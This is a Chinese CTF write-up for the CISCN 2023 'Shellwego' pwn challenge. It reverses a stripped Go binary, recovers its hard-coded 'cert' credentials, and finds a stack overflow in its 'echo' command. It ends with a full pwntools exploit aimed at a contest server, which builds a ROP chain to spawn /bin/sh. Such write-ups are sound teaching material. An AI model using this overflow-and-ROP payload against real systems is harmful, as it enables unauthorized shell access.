CISCN 2023 初赛 pwn——Shellwego 题解

news2025/1/11 6:05:46

这是一个用go语言写的elf程序,没有PIE。这也是本蒟蒻第一次解go pwn题,故在此记录以便参考。

而且,这还是一个全部符号表被抠的go elf,直接面对一堆不知名的函数实在有些应付不来,因此在比赛时委托逆向的队友把符号表用工具修复了一下,使用的是bindiff这个工具。修复完成之后大概是这个样子:

虽然没有完全修复,有的函数无法识别,但对于做本题来说已经足够用了。

Step 1:找到main_main函数

main_main函数是go语言main函数的对应函数,由于go语言经常会创建线程,因此不能从start开始进行分析。本题中IDA并不能识别出main_main函数的位置,因此需要我们通过查找字符串来完成。该字符串就是程序执行一开始所打印的ciscnshell$。

这个字符串也不难找,直接就可以找到。由此可以找到main_main函数。


幸运的是,main_main函数是可以反汇编的,下图中第27行打印的就是字符串ciscnshell$,而sub_4c1900则是我们重点需要关注的函数,这里保存有该题的主要逻辑,但通过反汇编发现这个函数不能完全反汇编出来,因此我们需要通过手撕汇编来梳理逻辑。

Step 2:分析sub_4C1900函数的主要逻辑

这一步也是当时比赛时耗时最长的一步,需要耐心进行分析,不能遗漏任何一个细节,否则都会迎来一段时间的长考而不得其解。

Frag 1:命令处理


上图是进入该函数后看到的一开始的一部分内容,可以看到上面调用了几个go的函数,通过查询相关资料,regexp_compile是进行了一个正则表达式的编译,而这个正则表达式就是" +",即一个或多个空格。下面的regexp_Regexp_ReplaceAllString则是进行了正则的替换,经过调试发现这里是将一个或多个空格替换成一个空格。


然后调用了strings_genSplit函数,这个函数是用来进行字符串切分的,与python中的split功能类似,经过调试发现,这里是通过空格进行切分,即获取命令中的多个以空格分隔开来的字符串,形成一个数据结构。调试发现该数据结构是一个类似于数组的结构,每一个元素的大小为0x10,前8字节保存一个字符串的指针,后8字节保存该字符串的长度。

再往下看,就会发现疑似进行了一些比较。通过调试发现,这是在对输入的第一个字符串进行比较,也就是说,下面就进入了命令匹配的流程。

Frag 2:命令匹配

经过调试发现,上图中有一个与’trec’进行比较的cmp指令,其含义是对第一个参数进行检查,检查其是否是’cert’,也就是说,cert是一个有效的命令。


之后往下继续分析,下面对第一个参数字符串的长度进行比较并进行分支,命令长度大于3时转入loc_4C1BC9处。

在这里,我们还发现了其他命令的匹配,但我们首先还是看cert的处理。如上图所示,这里的命令功能都是通过调试得到的,可以看到这里是直接将要比较的字符串写成指令中的二进制数,在这里经过分析可知第二个参数的内容。调试发现第二个参数的内容为其他值时,cert命令无回显,且输入其他命令都将显示未认证需要认证。这里可知第二个参数的值必须为nAcDsMicN。第二个命令匹配完成后,将跳转到loc_4C1C23处,里面调用了一个函数,进去看看。



上图就是这个函数的内容,可以看到其中使用了rc4加密,并调用了一些函数实现密钥的生成和加密操作。其中需要注意的是里面提到的两个固定值,表示两个字符串片段。经过调试发现,这两个字符串片段会与我们输入的第三个参数相拼接,作为rc4一个函数的参数传入,后生成一个密钥。


再往后看,我们发现了一个比较,这里又是一个写死的字符串,并且有一个与base64加密相关的函数。经过调试发现,这里是将加密后的结果进行了base64编码,然后与代码中固定的base64字符串进行比较。还是调试发现,这里的密钥是不会改变的,这是通过写入不同的第三个参数,在加密后将密文与明文异或后发现的。通过这个不变的密钥和固定的base64值,我们就可以反推出正确的第三个字符串是什么。计算得出,第三个字符串的值应该是S33UAga1n@#!。将这三个字符串都确定后,我们输入尝试,发现输出了上图下方的成功字符串,同时模拟shell的标识符发生了改变,我们也可以使用该程序中定义的其他命令了。该check分析完成。

Frag 3:漏洞挖掘

之后,我们可以对其他命令进行分析。通过分析发现,该程序实现了ls、cd、whoami、cat、echo等指令,其中cat指令被故意修改成只有输入cat flag才会有输出,且输出是假flag。并且ls和cd指令是该程序中真正实现的两个指令,确实能够在目标机器上执行的,但本题中没有用上。真正用上的是echo指令。

那么这个echo指令到底有什么猫腻呢?经过测试发现,输入echo后再输入多个以空格分隔的字符串,回车后显示的结果中会将空格删去。也就是说echo进行了一些处理。当输入的命令中的字符串过长时,该程序会崩溃,说明有潜在的漏洞可以利用。那么我们就来看一下echo命令到底是如何处理的。

echo命令的处理调用了sub_4C1720这个函数。在该函数中,会对输入的字符串进行处理并将其保存到栈上方的某一处地址。然后该函数会进行一个循环,逐字节将处理后的字符串复制到栈上,调试时发现就是在这个循环中执行时,出现了报错SIGSEGV。循环如下图所示。

这个循环中,rax是字符串目前复制到的位置,rbx是原字符串所在的地址,在每一次复制1个字节之前rbx都会从栈上读取,可知在栈上某处保存着原字符串的地址。而其中的movzx edx, byte ptr [rbx+rax]是用来从原字符串中取出一个地址。经过调试发现,在一开始程序会在这里出现读异常,原因是rbx的值出现了错误。为什么会出现错误呢?通过进一步调试发现,原字符串的地址在栈中保存的位置正好就在栈上复制缓冲区的高地址处,当缓冲区溢出时溢出到这里会将地址覆盖,由此便产生了SIGSEGV。如果这里没有这个地址的话,我们就可以一路溢出到返回地址执行ROP命令了。那么这里又应该如何处理这个原字符串地址呢?

需要注意到上图中的4C186D处,这里对读取的一个字节进行了判断,如果这个字节是+的ASCII码,则会跳过不复制到栈,且rax继续增长,那么如果我们在溢出到该地址时后面写8个+,就能够优雅地绕过这个地址,让其不受干扰。

Step 3:编写exp

下面的工作就简单了。通过对输入长度的不断增加进行测试,很容易就能够获取到命令前一部分的内容,这一部分是为了能够将栈的缓冲区填满。然后添加8个加号,再在后面写上填充和ROP,看似就大功告成了。

不过,在调试时发现,只是绕过了地址还不够,地址下方8个字节表示的是复制字符串的总长度,如果这里在覆盖的时候被改小了,那么就会报错显示Index Out Of Bound。因此这里可以选择继续使用+绕过,或者改成一个更大的值也可以。

from pwn import *
context.log_level = 'debug'

# io = process(['./pwn'])
io = remote('123.57.248.214', 29444)

poprdi_ret = 0x444fec
poprsi_ret = 0x41e818
poprdx_ret = 0x49e11d
poprax_ret = 0x40d9e6
syscall = 0x40328c
shell = 0x4A5000

if __name__ == '__main__':
    io.sendlineafter(b'ciscnshell$ ', b'cert nAcDsMicN S33UAga1n@#!')
    cstr = cyclic(0x200 * 8)
    payload = b'echo '
    for j in range(64):
        payload += cstr[j*8: (j+1)*8]
        payload += b' '
    payload += b'fff '

    payload += b'+' * 8
    payload += p64(0x10FF) * 3
    payload += p64(poprdi_ret)
    payload += p64(0)
    payload += p64(poprax_ret)
    payload += p64(0)
    payload += p64(poprsi_ret)
    payload += p64(0x59FE70)
    payload += p64(poprdx_ret)
    payload += p64(20)
    payload += p64(syscall)

    payload += p64(poprdi_ret)
    payload += p64(0x59FE70)
    payload += p64(poprax_ret)
    payload += p64(59)
    payload += p64(poprsi_ret)
    payload += p64(0)
    payload += p64(poprdx_ret)
    payload += p64(0)
    payload += p64(syscall)

    # gdb.attach(io, 'b *0x444fec')
    # time.sleep(3)
    io.sendlineafter(b'# ', payload)
    io.send("/bin/sh\x00")

    io.interactive()


注意到执行cat flag后不显示假flag,说明已经成功getshell。

本题在比赛时耗时很长,主要是因为在一开始不知道具体漏洞位置时可能会去分析其他的命令,而实际上其他的命令对本题没有什么用处。同时,本题也体现出go符号表的重要性,如果没有符号表,调试的工作量可能要大得多。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/580610.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2023/5/28总结

static static:静态,可以修饰成员方法,成员变量。(是所有成员共享的) static修饰的特点: 被类的所有对象共享(判断是否使用静态关键字的条件)可以通过类名和对象名调用在定义对象时,…

图【数据结构】

目录 一、图的定义和基本术语 二、图的类型定义 三、图的存储结构 1、数组(邻接矩阵)表示法 二、邻接表(链式)表示法 三、图的邻接表的存储表示 四、十字链表与邻接多重链表 (1)十字链表 &#xff…

113.删除有序数组中的重复项 removeDuplicatesFromSortedArray

文章目录 题目描述解题思路代码详解运行截图 题目描述 题目链接 给你一个 升序排列 的数组 nums ,请你 原地 删除重复出现的元素,使每个元素 只出现一次 ,返回删除后数组的新长度。元素的 相对顺序 应该保持 一致 。然后返回 nums 中唯一元…

Java中ReentrantLock的概念深入理解

ReentrantLock和Synchronized的区别 核心区别 ReentrantLock是一个类,Synchronized是Java中的一个关键字。 两者都是JVM层面实现互斥锁的方式 效率区别 线程竞争激烈推荐使用ReentrantLock去实现,不存在锁竞争观念; Synchronized是存在锁升…

大数据Doris(二十九):Broker Load导入HDFS csv 格式数据并提取文件路径中的分区字段

文章目录 Broker Load导入HDFS csv 格式数据并提取文件路径中的分区字段 一、创建Doris表 二、准备HDFS数据<

蚁群算法(解决TSP问题)

一、概述 蚂蚁在寻找食物源时&#xff0c;会在其经过的路径上释放一种信息素&#xff0c;并能够感知其它蚂蚁释放的信息素。信息素浓度的大小表征到食物源路径的远近&#xff0c;信息素浓度越高&#xff0c;表示对应的路径距离越短。通常&#xff0c;蚂蚁会以较大的概率优先…

chatgpt赋能python:Python文件复制粘贴到另一个目录

Python文件复制粘贴到另一个目录 Python是一种通用编程语言&#xff0c;可用于各种任务&#xff0c;包括文件复制和移动。在本文中&#xff0c;我们将探讨Python中的文件复制粘贴到另一个目录。 为什么要使用Python进行文件复制粘贴&#xff1f; Python提供了强大的文件处理…

case when用法

case when的基本使用&#xff1a; Case when 的用法: 一旦满足了某一个WHEN, 则这一条数据就会退出CASE WHEN , 而不再考虑 其他CASE。 Case when 的用法 -- -搜索Case函数: Case函数(Case搜索函数): 判断表达式的真假,如果为真,返回结果;如果为假,返回else值;如果未定义el…

批处理文件(.bat)启动redis及任何软件(同理)

批处理文件 每次从文件根目录用配置文件格式来启动redis太麻烦了 可以在桌面上使用批处理文件&#xff08;.bat&#xff09;启动Redis&#xff0c;请按照以下步骤进行操作&#xff1a; 打开文本编辑器&#xff0c;如记事本。 在编辑器中输入以下内容&#xff1a; 将文件保存…

70.爬楼梯问题+746.使用最小花费爬楼梯

目录 一、70.爬楼梯问题分析 二、代码 三、746.使用最小花费爬楼梯分析 四、代码 一、70.爬楼梯问题分析 70. 爬楼梯 - 力扣&#xff08;LeetCode&#xff09; 二、代码 class Solution { public:int climbStairs(int n) {if(n1||n2)return n;vector<int>dp(n1);dp…

线性表的链式表示——单链表

目录 一、单链表的定义二、单链表上基本操作的实现1、采用头插法建立单链表2、采用尾插法建立单链表3、按序号查找结点值4、按值查找表结点5、插入结点操作6、删除结点操作7、求表长操作 三、双链表、循环链表、静态链表 顺序表可以随时存取表中的任意一个元素&#xff0c;它的…

翻译:开源软件的架构(volume2): 可伸缩web框架及分布式系统

英文源地址 开源软件已经成为构建一些超大型网站的基础组成部分了.随着这些网站的成长, 围绕着它们软件架构的最佳实践与指导思想开始涌现.本文尝试去阐述设计大型网站时的需要考虑一些关键问题, 以及用于实现这些目标的基础组件. 本文主要关注web系统,尽管其中一些内容也适用于…

网络安全-01-VMware安装Kali部署DVWA

网络安全-01-VMware安装Kali&部署DVWA &#x1f53b;一、Kali简介&下载&#x1f4d7; 二、VMware安装Kali&#x1f4f0; 2.1 新建虚拟机&#x1f4f0; 2.2 开始安装Kali&#x1f4f0; 2.3 更换apt源为国内源&#x1f4f0; 2.4 启动mysql-这里使用自带的maridb&#x1f…

【Python 垃圾回收】零基础也能轻松掌握的学习路线与参考资料

Python 垃圾回收是 Python 运行机制中的重要环节。了解 Python 垃圾回收机制可帮助开发者高效编写 Python 代码&#xff0c;并避免潜在的内存泄漏问题。本文将介绍 Python 垃圾回收的学习路线&#xff0c;并给出参考资料和优秀实践。 Python 垃圾回收机制 Python 使用引用计数…

关于社会脑研究的fMRI和fNIRS超扫描方法

导读 近来&#xff0c;“社会脑”(即大脑在社会情境中是如何工作的&#xff0c;以及我们社会行为的机制是什么)在神经科学文献中获得了很多关注&#xff0c;主要是因为最近开发的技术允许研究人类社会认知的不同方面及其与大脑的关联。在这种情况下&#xff0c;超扫描技术拓宽…

如何在华为OD机试中获得满分?Java实现【质数因子】一文详解!

✅创作者:陈书予 🎉个人主页:陈书予的个人主页 🍁陈书予的个人社区,欢迎你的加入: 陈书予的社区 🌟专栏地址: Java华为OD机试真题(2022&2023) 文章目录 1. 题目描述2. 输入描述3. 输出描述4. Java算法源码5. 测试6.解题思路1. 题目描述 功能:输入一个正整数,…

vue小案例TodoList

1.首先我们分析怎么把一个页面拆成多个组件&#xff0c;如下图&#xff0c;我们可以拆成MyHeader、MyList、MyItem、MyFooter&#xff0c;其中MyList包含MyItem 2.观看如下代码&#xff08;我们把MyItem作为MyList的子组件&#xff0c;在父组件中使用v-for指令来循环展示子组件…

【java基础】Map集合

大家好&#x1f44b;&#xff0c;今天我来给大家科普一下Java中的map集合。map是Java中非常重要的数据结构之一&#xff0c;经常被用于存储键值对。 【有关这部分知识的思维导图放在文章末尾了&#xff0c;需要的C友请自取】 正文开始&#xff1a; 一、Map集合概述 我们知道&…

柱状图中最大的矩形

题目链接 柱状图中最大的矩形 题目描述 注意点 无 解答思路 暴力破解根据每根柱子x以x的高度作为矩形的高度找到其相邻能组成矩形的柱子&#xff0c;遍历所有柱子即可找到最大矩形&#xff0c;但是时间复杂度是O(n)&#xff0c;最终运行结果也超时了上面暴力破解的方法中…

MKS SERVO4257D 闭环步进电机_系列4 MODBUS指令说明

第1部分 产品介绍 MKS SERVO 28D/35D/42D/57D 系列闭环步进电机是创客基地为满足市场需求而自主研发的一款产品。具备脉冲接口和RS485/CAN串行接口&#xff0c;支持MODBUS-RTU通讯协议&#xff0c;内置高效FOC矢量算法&#xff0c;采用高精度编码器&#xff0c;通过位置反馈&am…